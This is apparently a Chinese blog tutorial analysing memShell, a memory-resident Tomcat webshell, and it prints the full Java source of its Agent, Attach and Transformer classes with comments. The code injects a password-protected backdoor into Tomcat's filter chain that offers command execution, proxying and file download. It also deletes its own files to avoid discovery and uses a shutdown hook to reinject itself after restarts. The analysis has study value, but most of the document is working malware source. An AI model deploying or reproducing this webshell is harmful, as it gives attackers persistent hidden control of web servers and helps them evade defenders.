跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下
然后输入命令注入
效果:
注入成功后
可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用
那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:
package net.rebeyond.memshell;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;
public class Agent {
public static String currentPath;
public static String password = "qiezi";
public static String className = "org.apache.catalina.core.ApplicationFilterChain";
public static byte[] injectFileBytes = new byte[]{},agentFileBytes = new byte[]{};
public static void agentmain(String agentArgs, Instrumentation inst){
inst.addTransformer(new Transformer(),true);
if (agentArgs.indexOf("^") >=0){ //字符串的开始位置找元素^找不到是-1.找到进入判断
Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素
Agent.password = agentArgs.split("\\^")[1]; //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素
}else {
Agent.currentPath = agentArgs;
}
System.out.println("Agent Main Done");
Class[] loadedClasses = inst.getAllLoadedClasses(); //获得Instrumentation中的所有类
for (Class c : loadedClasses){ //遍历
if (c.getName().equals(className)){ //当等于"org.apache.catalina.core.ApplicationFilterChain"时进入if
try{
inst.retransformClasses(c); //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载
}catch (Exception e){
e.printStackTrace();
}
}
}
try {
initLoad(); //初始化
readInjectFile(Agent.currentPath); //读取inject文件
readAgentFile(Agent.currentPath); //读取agent文件
clear(Agent.currentPath); //清除文件
}catch (Exception e){
}
Agent.persist(); //持久化
}
//linux?
public static void clear(String currentPath) throws Exception{ //清除
Thread clearThread = new Thread(){ //创建清除线程
String currentPath = Agent.currentPath; //当前路径
public void run(){
try {
Thread.sleep(5000); //线程等待
String injectFile = currentPath + "inject.jar"; //inject文件路径
String agentFile = currentPath + "agent.jar"; //agent文件路径
new File(injectFile).getCanonicalFile().delete(); //删除injectFiile文件
String OS = System.getProperty("os.name").toLowerCase(); //操作系统名
if (OS.indexOf("windows") >= 0){
try{
unlockFile(currentPath); //windows采取foreceDelete.exe强制清除
}catch (Exception e){
//pass
}
}
new File(agentFile).delete(); //删除agentFile文件
} catch (InterruptedException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
};
clearThread.start(); //开启清除线程
}
public static void unlockFile(String currentPath) throws Exception{
String exePath = currentPath + "foreceDelete.exe"; //文件路径
InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe"); //获取资源输入流
FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath()); //标准文件输出流
byte[] bytes = new byte[1024*100];
int num =0;
while ((num = is.read(bytes)) != -1){ //遍历
fos.write(bytes,0,num);
fos.flush();
}
fos.close();
is.close();
Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid()); //路径 pid
try{
process.waitFor(); //线程等待
}catch (Exception e){
e.printStackTrace();
}
new File(exePath).delete(); //文件删除
}
public static String getCurrentPid(){ //获得当前进程pid
RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
return runtimeMXBean.getName().split("@")[0];
}
public static void initLoad() throws Exception{
MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer(); //创建MBeanServer
Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), Query.match(Query.attr("protocol"),Query.value("HTTP/1.1"))); //查询
String host = InetAddress.getLocalHost().getHostAddress(); //根据本机名去/etc/hosts中获取对应ip,一般127.0.0.1
String port = objectNames.iterator().next().getKeyProperty("port"); //获取端口
String url = "http" + "://" + host + ":" + port; //获取url
String[] models = new String[] {"model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.",
"model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" }; //模板
for (String model : models){ //遍历
String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
openUrl(address);
}
}
public static void readInjectFile(String filePath) throws Exception{
String fileName = "inject.jar"; //定义文件名
File f = new File(filePath + File.separator + fileName); //创建File类对象,并执行路径
if (!f.exists()){
f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); //文件不存在会在操作系统缓存临时目录进行创建
}
InputStream is = new FileInputStream(f); //文件输入流
byte[] bytes = new byte[1024*100]; //设置数组大小
int num = 0;
while ((num = is.read(bytes)) != -1){ //一行行读取然后赋值给num,值存在时候进入判断
agentFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes,0,num)); //Arrays.copyOfRange(bytes,0,num) 第一个参数为要拷贝的数组,第二个参数为拷贝的开始位置(包含),第三个参数为拷贝的结束位置(不包含)
}
is.close();
}
static byte[] mergeByteArray(byte[]... byteArray){
int totalLength = 0; //定义整体长度
for (int i = 0;i < byteArray.length;i++){ //遍历
if (byteArray[i] == null){ //为空时候继续
continue;
}
totalLength += byteArray[i].length; //每个值长度相加,为总长度totalLength
}
byte[] result = new byte[totalLength]; //新建大小为totalLength的数组
int cur = 0;
for (int i = 0; i < byteArray.length;i++){
if (byteArray[i] == null){
continue;
}
System.arraycopy(byteArray[i],0,result,cur,byteArray[i].length);
//数组之间的复制 arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
//src:源数组 srcPos:源数组要复制的起始位置 dest:目的数组 destPos:目的数组放置的起始位置 length:复制的长度
cur += byteArray[i].length;
}
return result; //返回复制后的数组
}
public static void openUrl(String address) throws Exception{
URL url = new URL(address);
HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); //获取连接对象,并无创建连接
urlcon.connect(); //建立连接
InputStream is = urlcon.getInputStream(); //获取输入流
BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); //字符流读取
StringBuffer bs = new StringBuffer(); //创建一个 StringBuffer 对象
String l = null;
while ((l=buffer.readLine())!=null){ //buffer.readLine()每次读取一行数据
bs.append(l).append("/n"); //不为null时,加入
}
}
public static void persist(){
try {
Thread t = new Thread(){
public void run(){
try {
writeFiles("inject.jar", Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
//这个方法是在jvm时候增加一个关闭的钩子,当jvm关闭的时候,会执行系统中已经设置的所以通过方法addshutdownhook添加的钩子,当系统执行完这些钩子后,jvm才会关闭
}catch (Exception e){
}
}
public static void startInject() throws Exception{
Thread.sleep(2000);
String tempFolder = System.getProperty("java.io.tmpdir"); //获取操作系统缓存临时目录
String cmd = "java -jar" + tempFolder + File.separator + "inject.jar" + Agent.password; //File.separator相当于'/'
Runtime.getRuntime().exec(cmd);
}
public static void writeFiles(String fileName,byte[] data) throws Exception{
String tempFolder = System.getProperty("java.io.tmpdir"); //获取系统缓存临时目录
FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); //文件输出流
fso.write(data);
fso.close();
}
public static void main(String[] args) {
try{
readAgentFile("e:/");
String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); //Attach类的绝对路径
String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0,tempPath.lastIndexOf("/"));
}catch (Exception e){
e.printStackTrace();
}
}
public static void readAgentFile(String filePath) throws Exception{
String fileName = "agent.jar"; //定义文件名
File f = new File(filePath + File.separator + fileName); //创建File类对象,指定路径
if (!f.exists()){
f = new File(System.getProperty("java.io.tmpdir")+File.separator+fileName); //文件不存在会在操作系统缓存临时目录进行创建
}
InputStream is = new FileInputStream(f);
byte[] bytes = new byte[1024 * 100];
int num = 0;
while ((num = is.read(bytes)) != -1){
agentFileBytes = mergeByteArray(agentFileBytes,Arrays.copyOfRange(bytes,0,num)); //复制数组
}
is.close();
}
}
Attach.java
package net.rebeyond.memshell;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.io.IOException;
import java.util.List;
public class Attach {
public static void main(String[] args) throws IOException {
if (args.length!=1){
System.out.println("Usage:java -jar inject.jar password"); //当长度未达到1时候,说明没有输入password,提示
return;
}
VirtualMachine vm = null; //定义虚拟机vm
List<VirtualMachineDescriptor> listAfter = null; //一个描述虚拟机的容器类,配合VirtualMachine类完成各种功能
List<VirtualMachineDescriptor> listBefore = null;
listBefore = VirtualMachine.list();
String password = args[0]; //和刚开始说的一样,args的第一位是password
String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); //执行.class文件,得到当前class的绝对路径,若是jar包就是得到jar的绝对路径
currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1); //返回获得路径 lastIndexOf("/")+1取得是/最后一次出现的后一位,也就是
String agentFile = currentPath + "agent.jar"; //总路径
agentFile = new File(agentFile).getCanonicalPath(); //getCanonicalPath()规范路径
String agentArgs = currentPath;
if (!password.equals("")||password!=null){
agentArgs = agentArgs + "^" + password;
}
while (true){
try{
listAfter = VirtualMachine.list();
if (listAfter.size() <= 0){
continue;
}
for (VirtualMachineDescriptor vmd : listAfter){ //遍历
if (!listBefore.contains(vmd)){ //如果 VM 有增加,我们就认为是被监控的 VM 启动了
VirtualMachine.attach(vmd); //附加
listBefore.add(vmd); //添加
System.out.println("[+]OK.i find a jvm.");
Thread.sleep(1000);
if (null != vm){
vm.loadAgent(agentFile,agentArgs); //Attach API 远程加载
System.out.println("[+]memeShell is injected.");
vm.detach(); //jvm上删除一个代理
return;
}
}
}
Thread.sleep(5000);
}catch (Exception e){
e.printStackTrace();
}
}
}
}
Transformer.java:
package net.rebeyond.memshell;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)){
try{
Class a = Class.forName("javassist.CtClass"); //javassist是一个能处理Java字节码的类库,使用Javassist.CtClass来表示一个class文件,所以说CtClass类就是用来处理class文件的
ClassPool cp = ClassPool.getDefault(); //ClassPool是CtClass对象的容器
CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); //获得ApplicationFilterChain类
CtMethod m = cc.getDeclaredMethod("internalDoFilter"); //获得方法
m.addLocalVariable("elapsedTime",CtClass.longType); //定义属性,一个long类型的属性,名为elapsedTime
m.insertBefore(readSource()); //通过insertBefore插入到方法内容的开始处
byte[] byteCode = cc.toBytecode(); //转成字节类文件
cc.detach(); //jvm上删除一个代理
return byteCode; //返回字节
}catch (Exception e){
System.out.println("error:"+e.getMessage());
}
}
return null;
}
public String readSource(){
StringBuilder source = new StringBuilder(); //创建空对象source
InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt"); //类加载器从当前路径下的source.txt中加载资源
InputStreamReader isr = new InputStreamReader(is); //文件字节输入流,获取配置文件中内容
String line = null;
BufferedReader br = new BufferedReader(isr); //文件缓存输入流
try{
while ((line=br.readLine()) != null){ //遍历添加
source.append(line); //将读出来的数据添加
}
}catch (Exception e){
e.printStackTrace();
}
return source.toString(); //返回值
}
}